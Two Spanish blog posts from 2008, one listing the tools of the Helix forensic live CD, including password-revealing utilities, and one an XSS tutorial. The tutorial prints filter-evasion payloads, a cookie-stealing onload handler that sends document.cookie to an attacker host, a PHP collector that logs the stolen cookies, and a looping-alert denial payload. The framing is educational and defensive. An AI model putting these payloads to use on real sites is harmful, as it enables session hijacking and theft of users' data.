septiembre 16, 2008
Helix live CD
Helix
Es un Live CD basado en Knoppix. Centrado en la respuesta a incidentes y la informática forense.
Requisitos mínimos
Helix necesita mucha memoria RAM y una arquitectura x86 (Intel, AMD, etc.) Es posible hacerlo funcionar en un sistema con al menos 48MB de RAM, pero no se puede esperar un desempeño óptimo. Se necesita una computadora con procesador tipo Pentium con al menos 128 MB de RAM.
Instalación Helix
En pocas palabras Helix no se instala en la computadora. El proceso para utilizar Helix es el siguiente:
1) Descargar la imagen de CD desde http://www.e-fense.com/helix/downloads.php
2) Grabar la imagen de CD (Helix.iso) a un CD.
3) Asegúrese de que su máquina puede arrancar desde un CD. (Verificar la BIOS)
4) Reinicie la máquina con el CD en la unidad de CD-ROM.
5) Usar Helix.
Herramientas incluidas
Live CD:
2hash (v. 0.2) Una simple herramienta GPL para calcular el md5 y sha1 de un fichero. Si utiliza hashing regularmente este programa le ayudará a ahorrar espacio en disco.
Adepto (v. 2.0) con soporte para AFF. Programa de imágenes de e-fense utilizando dcfldd.
AFF (aimage) (v. 1.6.31) El Advanced Forensic Format (AFF) es un formato abierto para el almacenamiento de imágenes de disco. Proporciona algunas herramientas como compresión, verificación de códigos hash, e información de gestión de meta-datos
AIR (v. 1.2.8) (Automated Image & Restore) es un GUI front-end1 para dd y dcfldd diseñado para crear imágenes forenses. Permite verificar mediante MD5/SHA1, unidades de cinta SCSI, imágenes sobre una red TCP / IP, división de imágenes, así como información detallada de los inicios de sesión
Autopsy (v. 2.08) El Autopsy Forensic Browser es una interfaz gráfica para la línea de comandos del Sleuth Kit. Juntos, le permiten investigar el sistema de archivos y los volúmenes de una computadora.
chkrootkit (v. 0.46) Script del shell para comprobar el sistema de binarios para la modificación de rootkit.
chntpw (v. 0.99.2 040105) Es una utilidad de Linux para (re) establecer la contraseña de cualquier usuario con una cuenta valida (local) en sistemas WinNT o Win2000, modificando el password cifrado en el archivo SAM. No es necesario conocer la contraseña anterior para establecer una nueva. Trabaja off-line (es decir, se debe apagar la computadora y arrancar desde un disco de Linux). El disco de arranque incluye herramientas para acceder a las particiones NTFS. Esta utilidad trabaja con SYSKEY e incluye la opción de apagar la maquina. Se proporciona una imagen de disco de arranque
ClamAV (v. 0.88.4) Programa Anti-Virus
dcfldd (v. 1.3.4) Es una versión mejorada de dd con características útiles para la investigación forense y la seguridad.
endeavour2 File Manager (v. 2.7.1) Es una suite completa de gestión de archivos cuenta con un administrador de archivos; navegador de imágenes, archivador, papelera de reciclaje, y un conjunto de aplicaciones para administrar archivos y programas Permite montaje de la unidad de disco, una apariencia completamente personalizable, un sistema de tipos MIME, permite el clásico drag & drop, y es compatible con KDE y GNOME
Ethereal (v. 0.10.13) 11] Es utilizado por profesionales de todo el mundo para la solución de problemas, análisis y desarrollo de protocolos, y como software educativo. Tiene todas las características estándar que se pueden esperar en un analizador de protocolos, y varias características que no se habían visto en ningún otro producto
e2recover (v. 1.0) 12] Es una herramientas que ayuda en la recuperación de archivos borrados de los sistemas de ficheros ext2.
e2undel (v. 0.82) 13] Se trata de una consola interactiva que recupera los datos de archivos borrados en un sistema de ficheros ext2.
fatback (v. 1.3) 14] Un programa utilizado para recuperar archivos borrados de un sistema de ficheros FAT.
Firefox (v. 1.5.0.1) 15] Navegador de Internet.
foomatic-gui (v. 0.7.4.17) 16] Es un sistema de base de datos para integrar software libre con los controladores de impresora comunes bajo Unix. Soporta CUPS, LPRng, LPD, GNUlpr, Solaris LP, PPR, PDQ, CPS, e impresión directa con el software libre conocido para impresoras y cada impresora que se sabe funciona con estos drivers.
foremost (v. 1.3) 17] Es un programa de consola para recuperar los archivos basándose en sus cabeceras, fin de archivo, y las estructuras de datos internas. Este proceso se conoce comúnmente como data carving. Puede trabajar en los archivos de imagen, como los generados por dd, Safeback, Encase, etc, o directamente en el disco. La configuración de encabezados y los finales de archivos se pueden especificar de una plantilla o bien se puede utilizar la línea de comandos para especificar una función de los tipos de archivos predeterminados. Estos permiten una más fiable y rápida recuperación.
ftimes (v. 3.4.0) 18] FTimes es un sistema baselining2 y de recopilación de pruebas. El objetivo principal de FTimes es reunir y / o desarrollar la información detallada y los atributos especificados acerca de directorios y archivos de modo que favorezcan el análisis de intrusiones y el análisis forense.
galleta (v. 1.0) 19] galleta analiza la información de un archivo de cookies y permite que el resultado sea importado a su programa de hoja de cálculo favorita. Galleta está construido para trabajar en múltiples plataformas y se ejecutará en Windows (a través de Cygwin), Mac OS X, Linux y plataformas * BSD.
Gcombust – Graphical CD Burner (v. 0.1.55-2) 20] gcombust es un frontend3 GTK+ para mkisofs, mkhybrid, cdrecord y cdlabelgen. Tiene un primitivo soporte para controlar el directorio (root) estructura y el tamaño de una imagen sin copiar archivos / symlinking4 o escribir 10 líneas de argumentos. También puede maximizar el uso de disco de insinuando que directorios / archivos usar.
GHex (v. 2.8.1) 21] GHex es un simple editor binario. Permite a los usuarios ver y editar un archivo binario en hexadecimal y ASCII con un sistema de deshacer / rehacer. Permite buscar y reemplazar funciones, conversión entre binario, octal, decimal y hexadecimal, el concepto MDI permite a los usuarios editar varios documentos con múltiples vistas de cada uno.
GQView (v. 2.0.1) 22] Un navegador de imágenes que permite acceder y ver el árbol de directorios.
Graveman – Graphical CD Burner (v. 0.3.12-4-2.1) 23] es una GUI para herramientas de CD (permite grabar, leer y mkisofs5) Permite grabar archivos en un CD (como Wav, Ogg, Mp3, o FLAC) y datos, ademas de hacer copias de CD
grepmail (v. 5.3032) 24] grepmail realiza búsquedas en un buzón de correo normal o comprimido (gzip, bzip2, o tzip) para una determinada expresión regular y devuelve los mensajes que coincidan con la consulta. También puede realizar búsquedas limitadas por la fecha y el tamaño.
md5deep Suite (v. 1.12) 26] Es un conjunto de programas multiplataforma para calcular MD5, SHA-1, SHA-256, Tigre. Los programas se ejecutan en Windows, Linux, Cygwin, * BSD, OS X, Solaris, y debe correr en la mayoría de las otras plataformas. md5deep es similar a la suma md5 del programa que se encuentra en el paquete GNU Coreutils.
mac_grab (v. 1.0) 27] Programa de e-fense creado para apoderarse de todos los tiempos MAC de un sistema.
Magicrescue (v. 1.1.4) 28] Escanea un bloque de dispositivos para encontrar los tipos de archivos que sabe recuperar y llama un programa externo para ello. Busca en los “bytes mágicos”, así que puede ser utilizado como una utilidad de recuperación o para recobrar un dispositivo dañado o bien una partición. Mientras los datos del archivo se encuentren allí, los encontrará. Funciona en cualquier sistema de ficheros, pero si el sistema de archivos esta muy fragmentado sólo puede recuperar la primera parte de cada archivo.
NTFS-3G (c. 2006-08-22-BETA) 29] Finalmente Linux tiene total soporte para leer / escribir en particiones NTFS. Pruebas preliminares mostraron que aun con drivers no optimizados algunas veces se logran velocidades que duplican la velocidad de ext3 y que son entre 20 y 50 veces más rápido que el NTFS comercial de Paragon. Es interesante mencionar que Captive NTFS, que usa el driver nativo de Windows, falló todas las pruebas provocando perdida de datos
Outguess (v. 0.2) 30] Versión mejorada del stegdetec. Stegdetect es ahora compatible con el análisis lineal discriminante para detectar cualquier sistema JPEG basado en stego. También ofrece una mejor detección de F5.
Pasco (v. 1.0) 31] Pasco analiza la información en un fichero index.dat y los resultados pueden ser importados a su programa de hoja de cálculo favorito. Pasco está construido para trabajar en múltiples plataformas y se ejecutará en Windows (a través de Cygwin), Mac OS X, Linux y plataformas * BSD.
PyFlag (v. 0.80.1) 32] FLAG (Forensic and Log Analysis GUI) fue diseñado para simplificar el proceso de análisis de archivos de registro y de investigaciones forenses. Con frecuencia, al investigar un caso muy grande, se necesita analizar y correlacionar una gran cantidad de datos. PyFlag utiliza una base de datos backend6 para ayudar en la gestión de grandes volúmenes de datos. Esto permite a PyFlag permanecer receptivo y agilizar las operaciones de manipulación de datos.
qtparted (v. 0.4.5-cvs) 33] QTParted es un clon de Partition Magic escrito en C + + usando el kit de herramientas denominado Qt, permite por tanto crear, modificar y eliminar particiones en un disco duro.
Retriever (v. 2.0) 34] Programa de e-fense creado para dar un vistazo rápido a un sistema e identificar las imágenes, los documentos de texto y otros tipos de archivos.
rkhunter (v. 1.2.7) 35] Rootkit Hunter escanea los archivos y sistemas de rootkits conocidos y desconocidos, back doors y sniffers. El paquete contiene un script para el shell, unas pocas bases de datos basados en texto, y módulos opcionales escritos en Perl. Debe ejecutarse en cualquier clon de Unix.
regviewer (v. 0.1) 36] Basado en la GUI del navegador de registro de Windows. Es independiente de la plataforma permitiendo examinar el registro de Windows desde cualquier otra plataforma. Es particularmente útil cuando se realizan análisis forenses de archivos Windows desde un sistema del tipo *nix
rifiuti (v. 1.0) 37] Rifiuti analizará la información en un archivo INFO2 y los resultados podrán ser importados a su programa de hoja de cálculo favorita. Rifiuti está construido para trabajar en múltiples plataformas y se ejecutará en Windows (a través de Cygwin), Mac OS X, Linux y plataformas * BSD.
Scalpel (v. 1.54) 38] Una herramienta digital forense utilizada para el modelado7 de datos de archivos de una imagen de disco basándose en el archivo de configuración de requerimientos.
Sleuthkit (v. 2.06) 39] Es una colección de herramientas de línea de comandos basadas en UNIX que permiten investigar un computadora. La orientación actual de las herramientas es el archivo y sistemas de volumen y TSK soporta sistemas de ficheros FAT, Ext2 / 3, NTFS, UFS, ISO 9660.
ssdeep (v. 1.1) 40] Calcula un suma de verificación o checksum basados en los archivos que se crearon a partir del piecewise hashes8. Se puede especificar al programa que verifique estas sumas contra un archivo de sumas conocidas y que reporte cualquier coincidencia. La salida es escrita a la “salida normal”, mientras que los errores son enviados a “error estándar”.
Xfprot (v. 1.13) 43] XFPROT es una interfaz gráfica para el Antivirus F-Prot de Linux Small Business Edition. F-Prot Antivirus para Linux ha sido desarrollado por Frisk Software Internacional y es gratuito para uso personal y se puede descargar desde www.f-prot.com.
xhfs (v. 3.2.6) 44] xhfs Es un explorador para la navegación y copia de archivos en volúmenes HFS.
Xine-ui (v. 0.99.3) 45] Es un reproductor multimedia libre. Reproduce CDs, DVDs y VCDs. También decodifica archivos multimedia en formato AVI, MOV, WMV, MP3, locales, y archivos multimedia a través de Internet. Interpreta muchos de los formatos multimedia más comunes.
Xmms (v. 1.2.10) 46] Es un reproductor multimedia basado en el aspecto gráfico de WinAmp. XMMS interpreta MPEG 1/2/3, Ogg Vorbis, WAV, todos los formatos soportados por libmikmod, y CDs de audio.
xpdf (v. 3.01) 47] Es un visor de PDF, incluye también un extractor de texto PDF, un convertidor de PDF-a-PostScript,
Herramientas que corren bajo Windows
Access PassView (v. 1.12) 48] Es una utilidad que permite acceder a la base de datos de contraseñas almacenados en un archivo mdb creados con Microsoft Access 95/97/200/XP o con el motor de base de datos Jet 3.0/4.0 Es muy útil si se olvida la contraseña de acceso
Astrick Logger (v. 1.02) 49] Muchas aplicaciones como CuteFTP, CoffeeCup Free FTP, VNC, IncrediMail, Outlook Express y otros, permite escribir una contraseña general, el texto, al introducir una contraseña se muestra como una secuencia de asteriscos (***). Esta utilidad revela las contraseñas almacenadas.
Drive Manager (v. 3.23) 50] Ha sido escrito para ayudarle a identificar las unidades que son del mismo tipo. Además de la etiqueta de volumen también muestra la información de los proveedores a fin de diferenciar múltiples unidades de CD/DVD y memorias por el nombre del fabricante, versión y fecha de revisión. También permite utilizar el número de serie como un número de identificación exclusivo para cada unidad.
FAU (v. 1035) 51] Herramienta de respuesta a incidentes que puede utilizarse para crear la imagen de un sistema, y de los dispositivos conectados.
FTK Imager (v. 2.5.1) 53] Permite adquirir imágenes de dispositivos físicos y lógicos, ver los datos de sistemas que utilizan FAT, NTFS, EXT 2 y 3, así como HFS y HFS +. Además, permite la creación de imágenes múltiples de una sola fuente y / o múltiples imágenes simultáneamente
galleta (v. 1.0) 54] galleta analiza la información de un archivo de cookies y permite que el resultado sea importado a su programa de hoja de cálculo favorita. Galleta está construido para trabajar en múltiples plataformas y se ejecutará en Windows (a través de Cygwin), Mac OS X, Linux y plataformas * BSD.
HoverSnap (v. 0.8) 55] Es una herramienta libre que permite tomar capturas de pantalla completa, ventana activa o de un área seleccionada.
IECookiesView (v. 1.70) 56] Es una pequeña utilidad que muestra los detalles de todas las cookies que IE almacena en una computadora. Además, permite ordenar los cookies, borrarlos, y ver información detallada acerca de cada uno de ellos e incluso permite guardar los “cookies” en un archivo de texto legible. Si se está conectado a una red, es posible ver las cookies de otros equipos
IEHistoryView (v. 1.32) 57] Permite ver y modificar el historial de las páginas web visitadas en Internet Explorer. También puede exportar elementos seleccionados a un archivo HTML.
IRCR (v. 2.3) 58] Es un script para llamar a una colección de herramientas que recoge y / o analiza los datos de un sistema Microsoft Windows. Se puede ver como una captura del sistema en el pasado. La mayoría de las herramientas están orientadas a la recopilación de datos en lugar de análisis.
Mail PassView (v. 1.36) 59] Es una herramienta para la recuperación de contraseñas que revela las contraseñas y otros detalles de la cuenta para los siguientes clientes de correo electrónico: Outlook Express, Microsoft Outlook 2000, Microsoft Outlook 2002 / 2003, IncrediMail, Eudora, Netscape 6.x/7.x, Mozilla Thunderbird, Grupo Correo gratuito, Yahoo! Correo, Aplicación Messenger, Hotmail / MSN mail y Gmail.
MEMDump (v. 2.0) 60] Está diseñado para arrojar o copiar cualquier parte de 4GB de memoria de direcciones bajo MS-DOS y Windows 9x DOS a una consola de texto o archivo binario.
MessenPass (v. 1.08) 61] Permite recuperar la contraseña de una amplia variedad de programas populares de mensajería instantánea, incluyendo MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger , AOL Instant Messenger / Netscape 7, Trillian, GAIM y Miranda. Simplemente ejecute el programa y, este le mostrará una lista de todas las cuentas que se encuentran almacenadas en su PC, incluido el nombre de usuario y contraseñas
MozillaCookiesView (v. 1.11) 62] Es una alternativa a la “Cookie Manager” proporcionada por los navegadores Netscape y Mozilla. Muestra los detalles de todas las cookies almacenadas en el interior del archivo de cookies (cookies.txt) en una tabla.
Recuperación de contraseña de red (v. 1.03) 63] Puede recuperar todas las contraseñas de red almacenados en su además de las cuentas de. NET Passport que se almacenan localmente.
PC Inspector File Recovery (v. 4.0) 65] Es un programa de recuperación de datos que soporta los sistemas de archivos FAT 12/16/32 y NTFS. Encuentra automáticamente las particiones, incluso si el sector de arranque o FAT ha sido borrado o dañado.
PC On / Off Time (v. 2.0) 66] Esta herramienta de seguimiento muestra las veces que una computadora ha estado activa durante las últimas 3 semanas.
Process Explorer (v. 10.2) 67] Consta de dos ventanas. La ventana superior muestra una lista de los procesos que se encuentran activos, incluyendo los nombres de sus propietarios, mientras que la información que se muestra en la ventana inferior depende del modo en que Process Explorer está.
Storage PassView (v. 1.63) 68] Es una pequeña utilidad que revela las contraseñas almacenadas en una computadora por Internet Explorer y Outlook Express. Incluyen todo el correo electrónico y las contraseñas de los sitios web para los que se ha elegido la opción de “recordar contraseña”, así como la opción auto-completar las contraseñas.
PsTools Suite (v. 2.34) 69] Las herramientas incluidas en la suite PsTools, que se descarga de manera individual o en conjunto, son las siguientes:
PsExec – ejecutar los procesos de forma remota
PsFile – muestra los archivos abiertos remotamente
PsGetSid – mostrar el SID de un computadora o un usuario
PsKill – matar procesos por su nombre o ID de proceso
PsInfo – lista información sobre un sistema
PsList – lista detallada información sobre los procesos
PsLoggedOn – ver que el registrado a nivel local ya través de la distribución de los recursos
PsLogList – volcado de los registros de registro de eventos
PsPasswd – cambios de contraseñas de cuentas
PsService – ver y controlar los servicios
PsShutdown - apaga y reinicia la pc.
Pst Password Viewer (v. 1.00) 70] El cifrado de contraseña mediante PST es muy débil, ya que para cada archivo protegido por contraseña PST, existen varias contraseñas que pueden abrirlo. PstPassword ofrece 3 opciones diferentes de contraseñas. Es posible que una de ellas sea la contraseña original, pero también es posible que ninguna de estas contraseñas lo sean, sin embargo, las 3 contraseñas proporcionada por PstPassword se abrirá el archivo PST sin problemas.
reg (v.) 73] Muestra la información del registro y los valores en las entradas del registro, para el usuario local.
RegScanner (v. 1.30) 74] Permite escanear el registro, encontrar los valores de Registro que coincidan con los criterios de búsqueda especificados, y los muestra en una lista.
ReSysInfo (v. 2.1) 75] Es visor de la información de un sistema de Windows. La herramienta cuenta con 25 módulos de información: información BIOS, CMOS, escritorio, DirectX, unidades, fuentes, teclado, APM, Mainboard, MCI, mouse, multimedia, red, OpenGL, contraseñas, puertos, impresoras y fax, los procesos, procesador, sistema de video, información general acerca de Windows y un resumen. ReSysInfo se puede exportar la información a 3 diferentes formatos: TXT, HTML y XML.
rifiuti (v. 1.0) 76] Rifiuti analizará la información en un archivo INFO2 y los resultados podrán ser importados a su programa de hoja de cálculo favorita. Rifiuti está construido para trabajar en múltiples plataformas y se ejecutará en Windows (a través de Cygwin), Mac OS X, Linux y plataformas * BSD.
Rootkit (v. 1.7) 77] Rootkit es una utilidad avanzada de detección de rootkit. Funciona en Windows NT 4.0.
Secreport (v. 3.27.07) 78] Es una pequeña suite de dos herramientas de línea de comandos utilizadas para recopilar información relacionada con la seguridad de un sistema basado en Windows. Se puede utilizar estas herramientas para evaluar rápidamente el nivel de seguridad de un sistema de Windows y comparar los resultados con la línea de partida.
Windows Forensic Toolchest (v. 2.0) 79] Fue escrito para proporcionar un sistema automatizado de respuesta a incidentes en un sistema Windows y recoger la información de seguridad pertinente al sistema. Una persona con conocimientos de seguridad puede utilizarla para buscar signos de un incidente. Ofrece extensas posibilidades de log de todas sus acciones a lo largo de la operación realizando sumas de comprobación MD5 a lo largo del camino para asegurar que su producción es verificable.
Winaudit (v. 2.15) 80] WinAudit es fácil de usar, no es necesario tener conocimientos especiales para utilizar el programa. Se trata de un archivo self-contained único que no necesita instalación o configuración. Este programa puede ejecutarse desde un disquete o memoria USB. Simplemente se descarga el programa y se da un doble clic en el para utilizarlo. La interfaz de usuario ha sido traducida a varios idiomas gracias a muchas personas. El programa reporta prácticamente cada aspecto del inventario y configuración de la computadora. Los resultados son mostrados en un formato de página web, clasificando en categorías los resultados para facilitar la lectura y la búsqueda Tanto si se esta interesado en el software instalado, el inventario de hardware, soporte técnico, seguridad o simplemente por curiosidad, WinAudit lo tiene todo. El programa tiene diversas herramientas para diagnostico de fallas del disco duro, mapeo de puertos, velocidad de conexión, así como la configuración del firewall y las actualizaciones de Windows ®
septiembre 11, 2008
XSS
Los sitios Web de la actualidad son más complejos que nunca, contienen una gran cantidad de contenido dinámico, haciendo que la experiencia del usuario sea más agradable. El contenido dinámico se logra a través del uso de aplicaciones Web que pueden enviar diferentes salidas a sus usuarios dependiendo de su configuración y necesidades. Los sitios dinámicos sufren de una amenaza que no afecta a los sitios estáticos, llamada Cross Site Scripting (XSS)
Este tipo de ataques se hacen cada vez más populares entre los hackers ya que es relativamente sencillo encontrar agujeros que permiten explotar esta vulnerabilidad Cada mes se descubren entre 10 y 25 agujeros XSS en productos comerciales.
Los sitios Web que utilizan SSL (para https) NO tienen mayor protección que aquellos sitios que carecen de esta protección, ya que las aplicaciones Web trabajan de la misma manera que antes, excepto que el ataque se realiza en una conexión cifrada.
Es una vulnerabilidad que muchos desarrolladores dejan pasar por alto, quizás por falta de un planeamiento de análisis de riesgos en el proceso de diseño, desarrollo e implementación de sus aplicativos, o simplemente no lo vean como una falla que les va a presentar problemas en su aplicación, incluso por desconocimiento de esta vulnerabilidad.
Sea cual sea el motivo por el cual no se ejecuten medidas de prevención con respecto a esta vulnerabilidad, es necesario saber, que es un tipo de ataque que se extiende cada día mas, hoy en día es muy común encontrar sitios y usuarios afectados por este tipo de agresión. Sitios como FBU.gov, CNN.com, Time.com, Ebay.com, Yahoo, entre otros han tenido una forma u otra de vulnerabilidades XSS. En los últimos meses, en México, se detecto esta vulnerabilidad en los routers del mayor proveedor de Internet de México, Telmex, que permitió redireccionar a los usuarios de cierto portal bancario.
Para ejecutar este tipo de ataque no es necesario ser un guru en el campo de la programación, ni desarrollar o utilizar herramientas complejas, basta con manejar un poco de las etiquetas de HTML y algún lenguaje de Scripting.
La clave primordial en el campo de la seguridad es no confiar en la entrada de datos de ningún usuario, ya que en algún momento estas entradas se puede convertir en una inserción de código malicioso, es por ello que la aplicación debe de validar cada uno de los campos en donde el usuario pueda o le sea requerido el ingreso de datos y dejar de lado la política de confianza al usuario.
Definición de Cross-Site-Scripting
El Cross-Site-Scripting es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado en los campos de entrada y permiten el ingreso y envió de datos sin validación alguna, aceptando el envió de scripts completos, pudiendo generar secuencias de comandos maliciosas que impacten directamente en el sitio o en el equipo de un usuario. El Cross-Site-Scripting es una vulnerabilidad que puede causar un impacto tanto a una aplicación web como a usuarios que de manera inconsciente activen dicha secuencia de comandos.
Ocurre cuando la aplicación web acepta datos maliciosos de un usuario. Estos datos son por lo general enviados a través de un hipervínculo que contiene el código maligno. El usuario puede hacer clic en un enlace desde otro sitio Web, un mensajero instantáneo o simplemente al leer un tablero de mensajes o un e-mail. Usualmente el atacante cifrara la porción dañina del link en código HEX (o con algún otro método de cifrado) así que la petición se ve menos sospechosa para los usuarios. Después de que la información fue recabada por la aplicación Web, se crea una página de salida para el usuario que envió el código, pero de manera que parece la página válida del sitio. Muchos foros y libros de visitas permiten a los usuarios publicar entradas con html y javascript en él.
Un atacante puede usar XSS para enviar scripts maliciosos a un usuario ingenuo. El navegador del usuario no tiene forma de saber que no debe confiar en un determinado script y lo ejecutará. Ya que piensa que viene de una fuente confiable, pudiendo acceder a los cookies, tokens de sesión o cualquier información retenida por el navegador y que es usada por el sitio. Los scripts pueden incluso reescribir el contenido de la página.
Los ataques XSS son divididos por lo general en dos categorías: almacenados y reflejados. Los ataques almacenados son aquellos donde el código inyectado se almacena permanentemente en el servidor, como en una base de datos, en un foro de mensajes, libros de visita, etc. Los ataques reflejados se refiere a aquellos donde el código inyectado es reflejado por el servidor Web, como en un mensaje de error, o en los resultados de una búsqueda. Estos ataques son enviados a la victima usando otras vías como un e-mail, o algún otro servidor Web. Cuando un usuario cae en la trampa el código inyectado viaja al servidor Web vulnerable, que a su vez refleja el ataque hacia el navegador del usuario. El navegador ejecuta el script, ya que viene de un servidor “confiable”.
¿A quien Afecta?
El Cross-Site-Scripting es una vulnerabilidad que puede causar un impacto tanto a una aplicación web como a usuarios que de manera inconsciente activen dicha secuencia de comandos. Dicho código malicioso se compone de cadenas de datos cuyo contenido son scripts completos contenidos en enlaces o ejecutados desde formularios.
En caso de que sea ejecutado el script se ejecutara en el equipo del usuario con todos los privilegios permitidos por las políticas de seguridad configuradas en el navegador del usuario o del sitio visitado, pudiendo realizar acciones diversas como la captura de cookies de usuario o la activación de servicios y componentes del sistema operativo del usuario victima.
La mayor problemática es que estas cadenas de código se encuentran ocultas a la sombra de vínculos, de los cuales, el usuario normalmente no revisa el código y lo ejecuta con una política de confianza total, dicha ejecución se realiza de una manera indirecta, ya sea por una activación vía hipervínculo o por la ejecución al momento de la carga de un sitio afectado por este tipo de ataque, el atacante no realiza su acción pensando en un usuario en especifico si no que actúa de manera de que afectan a cualquier usuario que inocentemente caiga en dicha trampa, las formas mas comunes de realizar dicha agresión es por medio de correos electrónicos, vínculos falsos o ataques directos a sitios no preparados para este tipo de ataque.
Podemos encontrar una clasificación simple:
1. Ataque al usuario.
2. Ataque al Aplicativo.
1. Ataque al Usuario
Este es el ataque mas frecuente, debido al potencial de la información que se puede obtener mediante este tipo de agresión, ya que dependiendo del nivel de ingenio del atacante puede obtener información importante de un usuario victima extrayendo sus cookies y consiguiendo información almacenada en ellas o robando su sesión de usuario en un sitio web especifico.
Dentro de las diversas formas de ataque veremos dos de las más comunes.
Ataque vía correo electrónico:
Se basa en el envió de un correo electrónico a un usuario con un script oculto en un link a una dirección web, el atacante buscando motivar a su victima a seguir el enlace le ofrece un premio, regalo u oferta si visita dicho vinculo, al verse atraído por la información en el correo electrónico el usuario hace clic en el vinculo sin darse cuenta de que esta activando una secuencia de comandos que se ejecutaran en su equipo local, que podrían extraer sus cookies, eliminar archivos y en el caso mas fatal formatear su disco duro, mediante la invocación de programas con parámetros aleatorios.
Ataque vía publicación en Sitios Vulnerables:
Esta segunda forma se basa en la publicación de datos en blogs, foros, libros de visitas o sitios que permiten reflejar información enviada por un usuario y que no es validada por el servidor, donde podremos esconder secuencias de comandos detrás de un vinculo o imagen, este ataque tiene la misma finalidad que el anterior, pero con un mayor alcance de usuarios afectados.
Esta vulnerabilidad puede estar de forma directa (foros, mensajes de error, etc) o indirecta (redirecciones, frame sets, etc)
|
Tipo |
Manejo |
|
Directa |
Este tipo de XSS, es el que normalmente es censurado, así que es muy poco común que se pueda usar etiquetas como <script o <iframe> |
|
Indirecta |
Esta es un tipo de vulnerabilidad, muy común, y muy poco explotada, consiste en modificar valores que la aplicación web utiliza para pasar variables entre 2 páginas, sin usar sesiones. |
Directa
Se da por ejemplo en un foro cuando se pueden introducir etiquetas y ejecutar un código. Funciona localizando puntos débiles en la programación de los filtros, por lo que al filtrar las etiquetas <iframe>, <script> etc, es posible colocar un <div malicioso, o incluso un <u> o <s>, etc que casi siempre están permitidas.
Texto que se puede utilizar como una prueba de ataques XSS:
<IMG SRC=”javascript:alert(‘XSS’);”>
Nota: con el siguiente ejemplo las cadenas son más largas de lo que deberían, ya que los ceros pueden omitirse. Frecuentemente se puede ver que los filtros asumen que la codificación hex y dec debe de ser de dos o tres caracteres.
<IMG SRC=”jav ascript:alert(‘XSS’);”>
Espacios y metacaracteres antes del javascript en imágenes para XSS (es útil si el patrón coincide, no usa espacios en la palabra javascript, y asume que puedes tener espacios entre las comillas y la palabra clave javascript. La realidad es que se puede tener cualquier carácter desde el uno al treinta y dos en decimal.)
<IMG SRC=”  javascript:alert(‘XSS’);”>
No alfa no digitos XSS. Firefox asume que ninguna letra o digito es valido después de HTML por lo tanto consiste en un espacio en blanco o un token no valido después de una etiqueta HTML. El problema es que algunos filtros asumen que la etiqueta HTML esta incompleta debido al espacio en blanco.
<SCRIPT&XSS SRC=”http://ha.ckers.org/xss.js”></SCRIPT>
Usando INPUT image:
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<BR SIZE=”&{alert(‘XSS’)}”>
<FK STYLE=”behavior: url(http://ha.ckers.org/xss.htc);”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
Usar Style es increíblemente fácil, y muchos filtros son vulnerables. Sin embargo no es posible meter todo en el espacio que disponible, pero se puede usar:
eval(this.fu)
y en el div, agregar un campo “fu” con el código
<div fu=”alert(‘Hola’);” STYLE=”background-image:
url(javascript:eval(this.fu))”>
Si no se tiene una validación debida de las entradas por parte del usuario, se pueden enviar cadenas con comandos ocultos en vínculos que se almacenaran y reflejaran en nuestro sitio por ejemplo:
Un atacante aprovecha la vulnerabilidad de nuestro sitio y publica una imagen de la siguiente manera:
http://www.mipagina-malosa.com/mifoto.jpg name=”foto”
Pero a la vez agrega lo siguiente a dicho vínculo de la imagen:
onload=”foto.src=’http://www.mipagina-malosa.com/foto.php? galleta=’%20+document.cookie;”>
Como podemos imaginar al finalizar la carga de la imagen se almacenaran las cookies del usuario que siguió el vinculo en una misteriosa variable llamada galleta, que será enviada a la url determinada por el atacante, ahora veamos el código de dicha página:
Código de foto.php.
<? $galleta = $_REQUEST[galleta];
$file=fopen(“cookies.txt”, “a”);
fput($file, “$galleta\n”);
fclose($file); ?>
Observemos que la variable que contiene las cookies del usuario será almacenada en un documento de texto llamado cookies.txt alojado en el servidor del atacante, ya esto significa un agujero de seguridad en nuestro sitio que expone peligrosamente la seguridad de nuestro usuario.
Indirecta
Es posible, cuando hay un mensaje o una ruta en la URL del navegador o en la cookie,
saber el contenido de una cookie sin usar ningún tipo de iecv o add-on para el navegador, se puede usar el siguiente script, solo colocándolo en la barra de direcciones
javascript:void(document.cookie=prompt(“Alterar Cookie”,document.cookie).split(“;”));
Una vez dentro es posible modificar la cookie como se desee. Como podemos observar allí se encuentra nuestra cookie en un cuadro de dialogo que a la vez nos permite modificarla, así que haremos clic al final de la cookie y agregaremos un texto a ver si la modifica y presionamos el botón aceptar del cuadro de dialogo, como el script aun esta en el navegador simplemente volveremos a presionar la tecla ENTER o haremos clic sobre el botón IR y veremos nuevamente el cuadro de dialogo.
Si observamos al final de la cookie veremos que efectivamente se modifico nuestra cookie, bien de esa misma manera pueden ser extraídas y modificadas nuestras cookies de manera remota.
Usando FrameSets
Este tipo de ataque por medio del Cross-Site-Scripting es menos frecuente que el ataque a los usuarios, pero aun así existen personas que se deleitan fastidiando un sitio web por puro placer y consiste en poder almacenar scripts que se reflejen en el sitio para causar alguna alteración o eliminación del mismo.
Tomaremos como referencia un blog ya que sitios como blogs, foros y libros de visita, son los que mas fácilmente permiten este tipo de ataques, debido que en muchas ocasiones permiten el formateo de nuestro texto con etiquetas HTML y no validan correctamente el tipo de inserción que estamos haciendo.
Veamos un ejemplo simple. Hagamos un post como este:
<script>alert(“hola”);</script>
Al cargar la página donde se refleja nuestro post aparecerá una ventanita como esta.
Bien parece algo gracioso, un pequeño saludo de entrada, pero ahora quizás a ese hola podemos agregarle algo más:
<script>while(1)alert(“hola”);</script>
Al cargar la pagina aparecerá la misma ventanita de saludo pero esta vez al darle clic volverá a aparecer, flotando en nuestro navegador, ya que siempre que demos clic en el botón aceptar del cuadro de dialogo seguirá apareciendo la misma ventanita, evitando toda posibilidad de interactuar con el sitio ya que la única forma de cerrar este cuadro de dialogo es cerrando la web que lo ejecuta, de esta manera dejo de ser gracioso y empieza a ser molesto, pero hasta aquí llegaron los principiantes.
Alguien más experimentado en el XSS podría intentar algo como:
<iframe src=http://mipagina.com/pagina.htm>
Y en el código de pagina.htm algo como esto:
<SCRIPT TYPE=”text/javascript” LANGUAGE=JAVASCRIPT>
if (top.frames.length!=0)
top.location=self.document.location; </SCRIPT>
